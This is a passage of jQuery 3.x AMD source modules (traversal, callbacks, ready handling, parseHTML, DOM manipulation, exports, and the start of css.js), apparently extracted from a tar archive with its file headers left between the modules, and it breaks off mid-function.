break; } } } } return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched ); }, // Determine the position of an element within the set index: function( elem ) { // No argument, return index in parent if ( !elem ) { return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1; } // Index in selector if ( typeof elem === "string" ) { return indexOf.call( jQuery( elem ), this[ 0 ] ); } // Locate the position of the desired element return indexOf.call( this, // If it receives a jQuery object, the first element is used elem.jquery ? elem[ 0 ] : elem ); }, add: function( selector, context ) { return this.pushStack( jQuery.uniqueSort( jQuery.merge( this.get(), jQuery( selector, context ) ) ) ); }, addBack: function( selector ) { return this.add( selector == null ? this.prevObject : this.prevObject.filter( selector ) ); } } ); function sibling( cur, dir ) { while ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {} return cur; } jQuery.each( { parent: function( elem ) { var parent = elem.parentNode; return parent && parent.nodeType !== 11 ? parent : null; }, parents: function( elem ) { return dir( elem, "parentNode" ); }, parentsUntil: function( elem, i, until ) { return dir( elem, "parentNode", until ); }, next: function( elem ) { return sibling( elem, "nextSibling" ); }, prev: function( elem ) { return sibling( elem, "previousSibling" ); }, nextAll: function( elem ) { return dir( elem, "nextSibling" ); }, prevAll: function( elem ) { return dir( elem, "previousSibling" ); }, nextUntil: function( elem, i, until ) { return dir( elem, "nextSibling", until ); }, prevUntil: function( elem, i, until ) { return dir( elem, "previousSibling", until ); }, siblings: function( elem ) { return siblings( ( elem.parentNode || {} ).firstChild, elem ); }, children: function( elem ) { return siblings( elem.firstChild ); }, contents: function( elem ) { if ( nodeName( elem, "iframe" ) ) { return elem.contentDocument; } // Support: IE 9 - 11 only, iOS 7 only, Android Browser <=4.3 only // Treat the template element as a regular one in browsers that // don't support it. if ( nodeName( elem, "template" ) ) { elem = elem.content || elem; } return jQuery.merge( [], elem.childNodes ); } }, function( name, fn ) { jQuery.fn[ name ] = function( until, selector ) { var matched = jQuery.map( this, fn, until ); if ( name.slice( -5 ) !== "Until" ) { selector = until; } if ( selector && typeof selector === "string" ) { matched = jQuery.filter( selector, matched ); } if ( this.length > 1 ) { // Remove duplicates if ( !guaranteedUnique[ name ] ) { jQuery.uniqueSort( matched ); } // Reverse order for parents* and prev-derivatives if ( rparentsprev.test( name ) ) { matched.reverse(); } } return this.pushStack( matched ); }; } ); return jQuery; } ); callbacks.js000064400000013234151677373670007052 0ustar00define( [ "./core", "./core/toType", "./var/isFunction", "./var/rnothtmlwhite" ], function( jQuery, toType, isFunction, rnothtmlwhite ) { "use strict"; // Convert String-formatted options into Object-formatted ones function createOptions( options ) { var object = {}; jQuery.each( options.match( rnothtmlwhite ) || [], function( _, flag ) { object[ flag ] = true; } ); return object; } /* * Create a callback list using the following parameters: * * options: an optional list of space-separated options that will change how * the callback list behaves or a more traditional option object * * By default a callback list will act like an event callback list and can be * "fired" multiple times. * * Possible options: * * once: will ensure the callback list can only be fired once (like a Deferred) * * memory: will keep track of previous values and will call any callback added * after the list has been fired right away with the latest "memorized" * values (like a Deferred) * * unique: will ensure a callback can only be added once (no duplicate in the list) * * stopOnFalse: interrupt callings when a callback returns false * */ jQuery.Callbacks = function( options ) { // Convert options from String-formatted to Object-formatted if needed // (we check in cache first) options = typeof options === "string" ? createOptions( options ) : jQuery.extend( {}, options ); var // Flag to know if list is currently firing firing, // Last fire value for non-forgettable lists memory, // Flag to know if list was already fired fired, // Flag to prevent firing locked, // Actual callback list list = [], // Queue of execution data for repeatable lists queue = [], // Index of currently firing callback (modified by add/remove as needed) firingIndex = -1, // Fire callbacks fire = function() { // Enforce single-firing locked = locked || options.once; // Execute callbacks for all pending executions, // respecting firingIndex overrides and runtime changes fired = firing = true; for ( ; queue.length; firingIndex = -1 ) { memory = queue.shift(); while ( ++firingIndex < list.length ) { // Run callback and check for early termination if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false && options.stopOnFalse ) { // Jump to end and forget the data so .add doesn't re-fire firingIndex = list.length; memory = false; } } } // Forget the data if we're done with it if ( !options.memory ) { memory = false; } firing = false; // Clean up if we're done firing for good if ( locked ) { // Keep an empty list if we have data for future add calls if ( memory ) { list = []; // Otherwise, this object is spent } else { list = ""; } } }, // Actual Callbacks object self = { // Add a callback or a collection of callbacks to the list add: function() { if ( list ) { // If we have memory from a past run, we should fire after adding if ( memory && !firing ) { firingIndex = list.length - 1; queue.push( memory ); } ( function add( args ) { jQuery.each( args, function( _, arg ) { if ( isFunction( arg ) ) { if ( !options.unique || !self.has( arg ) ) { list.push( arg ); } } else if ( arg && arg.length && toType( arg ) !== "string" ) { // Inspect recursively add( arg ); } } ); } )( arguments ); if ( memory && !firing ) { fire(); } } return this; }, // Remove a callback from the list remove: function() { jQuery.each( arguments, function( _, arg ) { var index; while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) { list.splice( index, 1 ); // Handle firing indexes if ( index <= firingIndex ) { firingIndex--; } } } ); return this; }, // Check if a given callback is in the list. // If no argument is given, return whether or not list has callbacks attached. has: function( fn ) { return fn ? jQuery.inArray( fn, list ) > -1 : list.length > 0; }, // Remove all callbacks from the list empty: function() { if ( list ) { list = []; } return this; }, // Disable .fire and .add // Abort any current/pending executions // Clear all callbacks and values disable: function() { locked = queue = []; list = memory = ""; return this; }, disabled: function() { return !list; }, // Disable .fire // Also disable .add unless we have memory (since it would have no effect) // Abort any pending executions lock: function() { locked = queue = []; if ( !memory && !firing ) { list = memory = ""; } return this; }, locked: function() { return !!locked; }, // Call all callbacks with the given context and arguments fireWith: function( context, args ) { if ( !locked ) { args = args || []; args = [ context, args.slice ? args.slice() : args ]; queue.push( args ); if ( !firing ) { fire(); } } return this; }, // Call all the callbacks with the given arguments fire: function() { self.fireWith( this, arguments ); return this; }, // To know if the callbacks have already been called at least once fired: function() { return !!fired; } }; return self; }; return jQuery; } ); core/stripAndCollapse.js000064400000000570151677373670011331 0ustar00define( [ "../var/rnothtmlwhite" ], function( rnothtmlwhite ) { "use strict"; // Strip and collapse whitespace according to HTML spec // https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace function stripAndCollapse( value ) { var tokens = value.match( rnothtmlwhite ) || []; return tokens.join( " " ); } return stripAndCollapse; } ); core/ready-no-deferred.js000064400000004471151677373670011362 0ustar00define( [ "../core", "../var/document", "../var/isFunction" ], function( jQuery, document, isFunction ) { "use strict"; var readyCallbacks = [], whenReady = function( fn ) { readyCallbacks.push( fn ); }, executeReady = function( fn ) { // Prevent errors from freezing future callback execution (gh-1823) // Not backwards-compatible as this does not execute sync window.setTimeout( function() { fn.call( document, jQuery ); } ); }; jQuery.fn.ready = function( fn ) { whenReady( fn ); return this; }; jQuery.extend( { // Is the DOM ready to be used? Set to true once it occurs. isReady: false, // A counter to track how many items to wait for before // the ready event fires. See #6781 readyWait: 1, ready: function( wait ) { // Abort if there are pending holds or we're already ready if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) { return; } // Remember that the DOM is ready jQuery.isReady = true; // If a normal DOM Ready event fired, decrement, and wait if need be if ( wait !== true && --jQuery.readyWait > 0 ) { return; } whenReady = function( fn ) { readyCallbacks.push( fn ); while ( readyCallbacks.length ) { fn = readyCallbacks.shift(); if ( isFunction( fn ) ) { executeReady( fn ); } } }; whenReady(); } } ); // Make jQuery.ready Promise consumable (gh-1778) jQuery.ready.then = jQuery.fn.ready; /** * The ready event handler and self cleanup method */ function completed() { document.removeEventListener( "DOMContentLoaded", completed ); window.removeEventListener( "load", completed ); jQuery.ready(); } // Catch cases where $(document).ready() is called // after the browser event has already occurred. // Support: IE9-10 only // Older IE sometimes signals "interactive" too soon if ( document.readyState === "complete" || ( document.readyState !== "loading" && !document.documentElement.doScroll ) ) { // Handle it asynchronously to allow scripts the opportunity to delay ready window.setTimeout( jQuery.ready ); } else { // Use the handy event callback document.addEventListener( "DOMContentLoaded", completed ); // A fallback to window.onload, that will always work window.addEventListener( "load", completed ); } } ); core/support.js000064400000001213151677373670007571 0ustar00define( [ "../var/document", "../var/support" ], function( document, support ) { "use strict"; // Support: Safari 8 only // In Safari 8 documents created via document.implementation.createHTMLDocument // collapse sibling forms: the second one becomes a child of the first one. // Because of that, this security measure has to be disabled in Safari 8. // https://bugs.webkit.org/show_bug.cgi?id=137337 support.createHTMLDocument = ( function() { var body = document.implementation.createHTMLDocument( "" ).body; body.innerHTML = "<form></form><form></form>"; return body.childNodes.length === 2; } )(); return support; } ); core/parseHTML.js000064400000003205151677373670007657 0ustar00define( [ "../core", "../var/document", "./var/rsingleTag", "../manipulation/buildFragment", // This is the only module that needs core/support "./support" ], function( jQuery, document, rsingleTag, buildFragment, support ) { "use strict"; // Argument "data" should be string of html // context (optional): If specified, the fragment will be created in this context, // defaults to document // keepScripts (optional): If true, will include scripts passed in the html string jQuery.parseHTML = function( data, context, keepScripts ) { if ( typeof data !== "string" ) { return []; } if ( typeof context === "boolean" ) { keepScripts = context; context = false; } var base, parsed, scripts; if ( !context ) { // Stop scripts or inline event handlers from being executed immediately // by using document.implementation if ( support.createHTMLDocument ) { context = document.implementation.createHTMLDocument( "" ); // Set the base href for the created document // so any parsed elements with URLs // are based on the document's URL (gh-2965) base = context.createElement( "base" ); base.href = document.location.href; context.head.appendChild( base ); } else { context = document; } } parsed = rsingleTag.exec( data ); scripts = !keepScripts && []; // Single tag if ( parsed ) { return [ context.createElement( parsed[ 1 ] ) ]; } parsed = buildFragment( [ data ], context, scripts ); if ( scripts && scripts.length ) { jQuery( scripts ).remove(); } return jQuery.merge( [], parsed.childNodes ); }; return jQuery.parseHTML; } ); core/var/rsingleTag.js000064400000000232151677373670010744 0ustar00define( function() { "use strict"; // Match a standalone tag return ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i ); } ); core/readyException.js000064400000000265151677373670011046 0ustar00define( [ "../core" ], function( jQuery ) { "use strict"; jQuery.readyException = function( error ) { window.setTimeout( function() { throw error; } ); }; } ); core/nodeName.js000064400000000277151677373670007614 0ustar00define( function() { "use strict"; function nodeName( elem, name ) { return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); }; return nodeName; } ); core/access.js000064400000002547151677373670007331 0ustar00define( [ "../core", "../core/toType", "../var/isFunction" ], function( jQuery, toType, isFunction ) { "use strict"; // Multifunctional method to get and set values of a collection // The value/s can optionally be executed if it's a function var access = function( elems, fn, key, value, chainable, emptyGet, raw ) { var i = 0, len = elems.length, bulk = key == null; // Sets many values if ( toType( key ) === "object" ) { chainable = true; for ( i in key ) { access( elems, fn, i, key[ i ], true, emptyGet, raw ); } // Sets one value } else if ( value !== undefined ) { chainable = true; if ( !isFunction( value ) ) { raw = true; } if ( bulk ) { // Bulk operations run against the entire set if ( raw ) { fn.call( elems, value ); fn = null; // ...except when executing function values } else { bulk = fn; fn = function( elem, key, value ) { return bulk.call( jQuery( elem ), value ); }; } } if ( fn ) { for ( ; i < len; i++ ) { fn( elems[ i ], key, raw ? value : value.call( elems[ i ], i, fn( elems[ i ], key ) ) ); } } } if ( chainable ) { return elems; } // Gets if ( bulk ) { return fn.call( elems ); } return len ? fn( elems[ 0 ], key ) : emptyGet; }; return access; } ); core/ready.js000064400000004207151677373670007167 0ustar00define( [ "../core", "../var/document", "../core/readyException", "../deferred" ], function( jQuery, document ) { "use strict"; // The deferred used on DOM ready var readyList = jQuery.Deferred(); jQuery.fn.ready = function( fn ) { readyList .then( fn ) // Wrap jQuery.readyException in a function so that the lookup // happens at the time of error handling instead of callback // registration. .catch( function( error ) { jQuery.readyException( error ); } ); return this; }; jQuery.extend( { // Is the DOM ready to be used? Set to true once it occurs. isReady: false, // A counter to track how many items to wait for before // the ready event fires. See #6781 readyWait: 1, // Handle when the DOM is ready ready: function( wait ) { // Abort if there are pending holds or we're already ready if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) { return; } // Remember that the DOM is ready jQuery.isReady = true; // If a normal DOM Ready event fired, decrement, and wait if need be if ( wait !== true && --jQuery.readyWait > 0 ) { return; } // If there are functions bound, to execute readyList.resolveWith( document, [ jQuery ] ); } } ); jQuery.ready.then = readyList.then; // The ready event handler and self cleanup method function completed() { document.removeEventListener( "DOMContentLoaded", completed ); window.removeEventListener( "load", completed ); jQuery.ready(); } // Catch cases where $(document).ready() is called // after the browser event has already occurred. // Support: IE <=9 - 10 only // Older IE sometimes signals "interactive" too soon if ( document.readyState === "complete" || ( document.readyState !== "loading" && !document.documentElement.doScroll ) ) { // Handle it asynchronously to allow scripts the opportunity to delay ready window.setTimeout( jQuery.ready ); } else { // Use the handy event callback document.addEventListener( "DOMContentLoaded", completed ); // A fallback to window.onload, that will always work window.addEventListener( "load", completed ); } } ); core/camelCase.js000064400000001070151677373670007733 0ustar00define( [], function() { "use strict"; // Matches dashed string for camelizing var rmsPrefix = /^-ms-/, rdashAlpha = /-([a-z])/g; // Used by camelCase as callback to replace() function fcamelCase( all, letter ) { return letter.toUpperCase(); } // Convert dashed to camelCase; used by the css and data modules // Support: IE <=9 - 11, Edge 12 - 15 // Microsoft forgot to hump their vendor prefix (#9572) function camelCase( string ) { return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase ); } return camelCase; } ); core/init.js000064400000006612151677373670007030 0ustar00// Initialize a jQuery object define( [ "../core", "../var/document", "../var/isFunction", "./var/rsingleTag", "../traversing/findFilter" ], function( jQuery, document, isFunction, rsingleTag ) { "use strict"; // A central reference to the root jQuery(document) var rootjQuery, // A simple way to check for HTML strings // Prioritize #id over <tag> to avoid XSS via location.hash (#9521) // Strict HTML recognition (#11290: must start with <) // Shortcut simple #id case for speed rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/, init = jQuery.fn.init = function( selector, context, root ) { var match, elem; // HANDLE: $(""), $(null), $(undefined), $(false) if ( !selector ) { return this; } // Method init() accepts an alternate rootjQuery // so migrate can support jQuery.sub (gh-2101) root = root || rootjQuery; // Handle HTML strings if ( typeof selector === "string" ) { if ( selector[ 0 ] === "<" && selector[ selector.length - 1 ] === ">" && selector.length >= 3 ) { // Assume that strings that start and end with <> are HTML and skip the regex check match = [ null, selector, null ]; } else { match = rquickExpr.exec( selector ); } // Match html or make sure no context is specified for #id if ( match && ( match[ 1 ] || !context ) ) { // HANDLE: $(html) -> $(array) if ( match[ 1 ] ) { context = context instanceof jQuery ? context[ 0 ] : context; // Option to run scripts is true for back-compat // Intentionally let the error be thrown if parseHTML is not present jQuery.merge( this, jQuery.parseHTML( match[ 1 ], context && context.nodeType ? context.ownerDocument || context : document, true ) ); // HANDLE: $(html, props) if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) { for ( match in context ) { // Properties of context are called as methods if possible if ( isFunction( this[ match ] ) ) { this[ match ]( context[ match ] ); // ...and otherwise set as attributes } else { this.attr( match, context[ match ] ); } } } return this; // HANDLE: $(#id) } else { elem = document.getElementById( match[ 2 ] ); if ( elem ) { // Inject the element directly into the jQuery object this[ 0 ] = elem; this.length = 1; } return this; } // HANDLE: $(expr, $(...)) } else if ( !context || context.jquery ) { return ( context || root ).find( selector ); // HANDLE: $(expr, context) // (which is just equivalent to: $(context).find(expr) } else { return this.constructor( context ).find( selector ); } // HANDLE: $(DOMElement) } else if ( selector.nodeType ) { this[ 0 ] = selector; this.length = 1; return this; // HANDLE: $(function) // Shortcut for document ready } else if ( isFunction( selector ) ) { return root.ready !== undefined ? root.ready( selector ) : // Execute immediately if ready is not present selector( jQuery ); } return jQuery.makeArray( selector, this ); }; // Give the init function the jQuery prototype for later instantiation init.prototype = jQuery.fn; // Initialize central reference rootjQuery = jQuery( document ); return init; } ); core/toType.js000064400000000617151677373670007350 0ustar00define( [ "../var/class2type", "../var/toString" ], function( class2type, toString ) { "use strict"; function toType( obj ) { if ( obj == null ) { return obj + ""; } // Support: Android <=2.3 only (functionish RegExp) return typeof obj === "object" || typeof obj === "function" ? class2type[ toString.call( obj ) ] || "object" : typeof obj; } return toType; } ); core/DOMEval.js000064400000001042151677373670007304 0ustar00define( [ "../var/document" ], function( document ) { "use strict"; var preservedScriptAttributes = { type: true, src: true, noModule: true }; function DOMEval( code, doc, node ) { doc = doc || document; var i, script = doc.createElement( "script" ); script.text = code; if ( node ) { for ( i in preservedScriptAttributes ) { if ( node[ i ] ) { script[ i ] = node[ i ]; } } } doc.head.appendChild( script ).parentNode.removeChild( script ); } return DOMEval; } ); manipulation.js000064400000031414151677373670007633 0ustar00define( [ "./core", "./var/concat", "./var/isFunction", "./var/push", "./core/access", "./manipulation/var/rcheckableType", "./manipulation/var/rtagName", "./manipulation/var/rscriptType", "./manipulation/wrapMap", "./manipulation/getAll", "./manipulation/setGlobalEval", "./manipulation/buildFragment", "./manipulation/support", "./data/var/dataPriv", "./data/var/dataUser", "./data/var/acceptData", "./core/DOMEval", "./core/nodeName", "./core/init", "./traversing", "./selector", "./event" ], function( jQuery, concat, isFunction, push, access, rcheckableType, rtagName, rscriptType, wrapMap, getAll, setGlobalEval, buildFragment, support, dataPriv, dataUser, acceptData, DOMEval, nodeName ) { "use strict"; var /* eslint-disable max-len */ // See https://github.com/eslint/eslint/issues/3229 rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi, /* eslint-enable */ // Support: IE <=10 - 11, Edge 12 - 13 only // In IE/Edge using regex groups here causes severe slowdowns. // See https://connect.microsoft.com/IE/feedback/details/1736512/ rnoInnerhtml = /<script|<style|<link/i, // checked="checked" or checked rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i, rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g; // Prefer a tbody over its parent table for containing new rows function manipulationTarget( elem, content ) { if ( nodeName( elem, "table" ) && nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ) { return jQuery( elem ).children( "tbody" )[ 0 ] || elem; } return elem; } // Replace/restore the type attribute of script elements for safe DOM manipulation function disableScript( elem ) { elem.type = ( elem.getAttribute( "type" ) !== null ) + "/" + elem.type; return elem; } function restoreScript( elem ) { if ( ( elem.type || "" ).slice( 0, 5 ) === "true/" ) { elem.type = elem.type.slice( 5 ); } else { elem.removeAttribute( "type" ); } return elem; } function cloneCopyEvent( src, dest ) { var i, l, type, pdataOld, pdataCur, udataOld, udataCur, events; if ( dest.nodeType !== 1 ) { return; } // 1. Copy private data: events, handlers, etc. if ( dataPriv.hasData( src ) ) { pdataOld = dataPriv.access( src ); pdataCur = dataPriv.set( dest, pdataOld ); events = pdataOld.events; if ( events ) { delete pdataCur.handle; pdataCur.events = {}; for ( type in events ) { for ( i = 0, l = events[ type ].length; i < l; i++ ) { jQuery.event.add( dest, type, events[ type ][ i ] ); } } } } // 2. Copy user data if ( dataUser.hasData( src ) ) { udataOld = dataUser.access( src ); udataCur = jQuery.extend( {}, udataOld ); dataUser.set( dest, udataCur ); } } // Fix IE bugs, see support tests function fixInput( src, dest ) { var nodeName = dest.nodeName.toLowerCase(); // Fails to persist the checked state of a cloned checkbox or radio button. if ( nodeName === "input" && rcheckableType.test( src.type ) ) { dest.checked = src.checked; // Fails to return the selected option to the default selected state when cloning options } else if ( nodeName === "input" || nodeName === "textarea" ) { dest.defaultValue = src.defaultValue; } } function domManip( collection, args, callback, ignored ) { // Flatten any nested arrays args = concat.apply( [], args ); var fragment, first, scripts, hasScripts, node, doc, i = 0, l = collection.length, iNoClone = l - 1, value = args[ 0 ], valueIsFunction = isFunction( value ); // We can't cloneNode fragments that contain checked, in WebKit if ( valueIsFunction || ( l > 1 && typeof value === "string" && !support.checkClone && rchecked.test( value ) ) ) { return collection.each( function( index ) { var self = collection.eq( index ); if ( valueIsFunction ) { args[ 0 ] = value.call( this, index, self.html() ); } domManip( self, args, callback, ignored ); } ); } if ( l ) { fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored ); first = fragment.firstChild; if ( fragment.childNodes.length === 1 ) { fragment = first; } // Require either new content or an interest in ignored elements to invoke the callback if ( first || ignored ) { scripts = jQuery.map( getAll( fragment, "script" ), disableScript ); hasScripts = scripts.length; // Use the original fragment for the last item // instead of the first because it can end up // being emptied incorrectly in certain situations (#8070). for ( ; i < l; i++ ) { node = fragment; if ( i !== iNoClone ) { node = jQuery.clone( node, true, true ); // Keep references to cloned scripts for later restoration if ( hasScripts ) { // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( scripts, getAll( node, "script" ) ); } } callback.call( collection[ i ], node, i ); } if ( hasScripts ) { doc = scripts[ scripts.length - 1 ].ownerDocument; // Reenable scripts jQuery.map( scripts, restoreScript ); // Evaluate executable scripts on first document insertion for ( i = 0; i < hasScripts; i++ ) { node = scripts[ i ]; if ( rscriptType.test( node.type || "" ) && !dataPriv.access( node, "globalEval" ) && jQuery.contains( doc, node ) ) { if ( node.src && ( node.type || "" ).toLowerCase() !== "module" ) { // Optional AJAX dependency, but won't run scripts if not present if ( jQuery._evalUrl ) { jQuery._evalUrl( node.src ); } } else { DOMEval( node.textContent.replace( rcleanScript, "" ), doc, node ); } } } } } } return collection; } function remove( elem, selector, keepData ) { var node, nodes = selector ? jQuery.filter( selector, elem ) : elem, i = 0; for ( ; ( node = nodes[ i ] ) != null; i++ ) { if ( !keepData && node.nodeType === 1 ) { jQuery.cleanData( getAll( node ) ); } if ( node.parentNode ) { if ( keepData && jQuery.contains( node.ownerDocument, node ) ) { setGlobalEval( getAll( node, "script" ) ); } node.parentNode.removeChild( node ); } } return elem; } jQuery.extend( { htmlPrefilter: function( html ) { return html.replace( rxhtmlTag, "<$1></$2>" ); }, clone: function( elem, dataAndEvents, deepDataAndEvents ) { var i, l, srcElements, destElements, clone = elem.cloneNode( true ), inPage = jQuery.contains( elem.ownerDocument, elem ); // Fix IE cloning issues if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) && !jQuery.isXMLDoc( elem ) ) { // We eschew Sizzle here for performance reasons: https://jsperf.com/getall-vs-sizzle/2 destElements = getAll( clone ); srcElements = getAll( elem ); for ( i = 0, l = srcElements.length; i < l; i++ ) { fixInput( srcElements[ i ], destElements[ i ] ); } } // Copy the events from the original to the clone if ( dataAndEvents ) { if ( deepDataAndEvents ) { srcElements = srcElements || getAll( elem ); destElements = destElements || getAll( clone ); for ( i = 0, l = srcElements.length; i < l; i++ ) { cloneCopyEvent( srcElements[ i ], destElements[ i ] ); } } else { cloneCopyEvent( elem, clone ); } } // Preserve script evaluation history destElements = getAll( clone, "script" ); if ( destElements.length > 0 ) { setGlobalEval( destElements, !inPage && getAll( elem, "script" ) ); } // Return the cloned set return clone; }, cleanData: function( elems ) { var data, elem, type, special = jQuery.event.special, i = 0; for ( ; ( elem = elems[ i ] ) !== undefined; i++ ) { if ( acceptData( elem ) ) { if ( ( data = elem[ dataPriv.expando ] ) ) { if ( data.events ) { for ( type in data.events ) { if ( special[ type ] ) { jQuery.event.remove( elem, type ); // This is a shortcut to avoid jQuery.event.remove's overhead } else { jQuery.removeEvent( elem, type, data.handle ); } } } // Support: Chrome <=35 - 45+ // Assign undefined instead of using delete, see Data#remove elem[ dataPriv.expando ] = undefined; } if ( elem[ dataUser.expando ] ) { // Support: Chrome <=35 - 45+ // Assign undefined instead of using delete, see Data#remove elem[ dataUser.expando ] = undefined; } } } } } ); jQuery.fn.extend( { detach: function( selector ) { return remove( this, selector, true ); }, remove: function( selector ) { return remove( this, selector ); }, text: function( value ) { return access( this, function( value ) { return value === undefined ? jQuery.text( this ) : this.empty().each( function() { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { this.textContent = value; } } ); }, null, value, arguments.length ); }, append: function() { return domManip( this, arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.appendChild( elem ); } } ); }, prepend: function() { return domManip( this, arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.insertBefore( elem, target.firstChild ); } } ); }, before: function() { return domManip( this, arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this ); } } ); }, after: function() { return domManip( this, arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this.nextSibling ); } } ); }, empty: function() { var elem, i = 0; for ( ; ( elem = this[ i ] ) != null; i++ ) { if ( elem.nodeType === 1 ) { // Prevent memory leaks jQuery.cleanData( getAll( elem, false ) ); // Remove any remaining nodes elem.textContent = ""; } } return this; }, clone: function( dataAndEvents, deepDataAndEvents ) { dataAndEvents = dataAndEvents == null ? false : dataAndEvents; deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents; return this.map( function() { return jQuery.clone( this, dataAndEvents, deepDataAndEvents ); } ); }, html: function( value ) { return access( this, function( value ) { var elem = this[ 0 ] || {}, i = 0, l = this.length; if ( value === undefined && elem.nodeType === 1 ) { return elem.innerHTML; } // See if we can take a shortcut and just use innerHTML if ( typeof value === "string" && !rnoInnerhtml.test( value ) && !wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) { value = jQuery.htmlPrefilter( value ); try { for ( ; i < l; i++ ) { elem = this[ i ] || {}; // Remove element nodes and prevent memory leaks if ( elem.nodeType === 1 ) { jQuery.cleanData( getAll( elem, false ) ); elem.innerHTML = value; } } elem = 0; // If using innerHTML throws an exception, use the fallback method } catch ( e ) {} } if ( elem ) { this.empty().append( value ); } }, null, value, arguments.length ); }, replaceWith: function() { var ignored = []; // Make the changes, replacing each non-ignored context element with the new content return domManip( this, arguments, function( elem ) { var parent = this.parentNode; if ( jQuery.inArray( this, ignored ) < 0 ) { jQuery.cleanData( getAll( this ) ); if ( parent ) { parent.replaceChild( elem, this ); } } // Force callback invocation }, ignored ); } } ); jQuery.each( { appendTo: "append", prependTo: "prepend", insertBefore: "before", insertAfter: "after", replaceAll: "replaceWith" }, function( name, original ) { jQuery.fn[ name ] = function( selector ) { var elems, ret = [], insert = jQuery( selector ), last = insert.length - 1, i = 0; for ( ; i <= last; i++ ) { elems = i === last ? this : this.clone( true ); jQuery( insert[ i ] )[ original ]( elems ); // Support: Android <=4.0 only, PhantomJS 1 only // .get() because push.apply(_, arraylike) throws on ancient WebKit push.apply( ret, elems.get() ); } return this.pushStack( ret ); }; } ); return jQuery; } ); exports/global.js000064400000001202151677373670010067 0ustar00define( [ "../core" ], function( jQuery, noGlobal ) { "use strict"; var // Map over jQuery in case of overwrite _jQuery = window.jQuery, // Map over the $ in case of overwrite _$ = window.$; jQuery.noConflict = function( deep ) { if ( window.$ === jQuery ) { window.$ = _$; } if ( deep && window.jQuery === jQuery ) { window.jQuery = _jQuery; } return jQuery; }; // Expose jQuery and $ identifiers, even in AMD // (#7102#comment:10, https://github.com/jquery/jquery/pull/557) // and CommonJS for browser emulators (#13566) if ( !noGlobal ) { window.jQuery = window.$ = jQuery; } } ); exports/amd.js000064400000002032151677373670007372 0ustar00define( [ "../core" ], function( jQuery ) { "use strict"; // Register as a named AMD module, since jQuery can be concatenated with other // files that may use define, but not via a proper concatenation script that // understands anonymous AMD modules. A named AMD is safest and most robust // way to register. Lowercase jquery is used because AMD module names are // derived from file names, and jQuery is normally delivered in a lowercase // file name. Do this after creating the global so that if an AMD module wants // to call noConflict to hide this version of jQuery, it will work. // Note that for maximum portability, libraries that are not jQuery should // declare themselves as anonymous modules, and avoid setting a global if an // AMD loader is present. jQuery is a special case. For more information, see // https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon if ( typeof define === "function" && define.amd ) { define( "jquery", [], function() { return jQuery; } ); } } ); css.js000064400000032635151677373670005731 0ustar00define( [ "./core", "./var/pnum", "./core/access", "./core/camelCase", "./var/document", "./var/rcssNum", "./css/var/rnumnonpx", "./css/var/cssExpand", "./css/var/getStyles", "./css/var/swap", "./css/curCSS", "./css/adjustCSS", "./css/addGetHookIf", "./css/support", "./core/init", "./core/ready", "./selector" // contains ], function( jQuery, pnum, access, camelCase, document, rcssNum, rnumnonpx, cssExpand, getStyles, swap, curCSS, adjustCSS, addGetHookIf, support ) { "use strict"; var // Swappable if display is none or starts with table // except "table", "table-cell", or "table-caption" // See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display rdisplayswap = /^(none|table(?!-c[ea]).+)/, rcustomProp = /^--/, cssShow = { position: "absolute", visibility: "hidden", display: "block" }, cssNormalTransform = { letterSpacing: "0", fontWeight: "400" }, cssPrefixes = [ "Webkit", "Moz", "ms" ], emptyStyle = document.createElement( "div" ).style; // Return a css property mapped to a potentially vendor prefixed property function vendorPropName( name ) { // Shortcut for names that are not vendor prefixed if ( name in emptyStyle ) { return name; } // Check for vendor prefixed names var capName = name[ 0 ].toUpperCase() + name.slice( 1 ), i = cssPrefixes.length; while ( i-- ) { name = cssPrefixes[ i ] + capName; if ( name in emptyStyle ) { return name; } } } // Return a property mapped along what jQuery.cssProps suggests or to // a vendor prefixed property. function finalPropName( name ) { var ret = jQuery.cssProps[ name ]; if ( !ret ) { ret = jQuery.cssProps[ name ] = vendorPropName( name ) || name; } return ret; } function setPositiveNumber( elem, value, subtract ) { // Any relative (+/-) values have already been // normalized at this point var matches = rcssNum.exec( value ); return matches ? // Guard against undefined "subtract", e.g., when used as in cssHooks Math.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || "px" ) : value; } function boxModelAdjustment( elem, dimension, box, isBorderBox, styles, computedVal ) { var i = dimension === "width" ? 1 : 0, extra = 0, delta = 0; // Adjustment may not be necessary if ( box === ( isBorderBox ? "border" : "content" ) 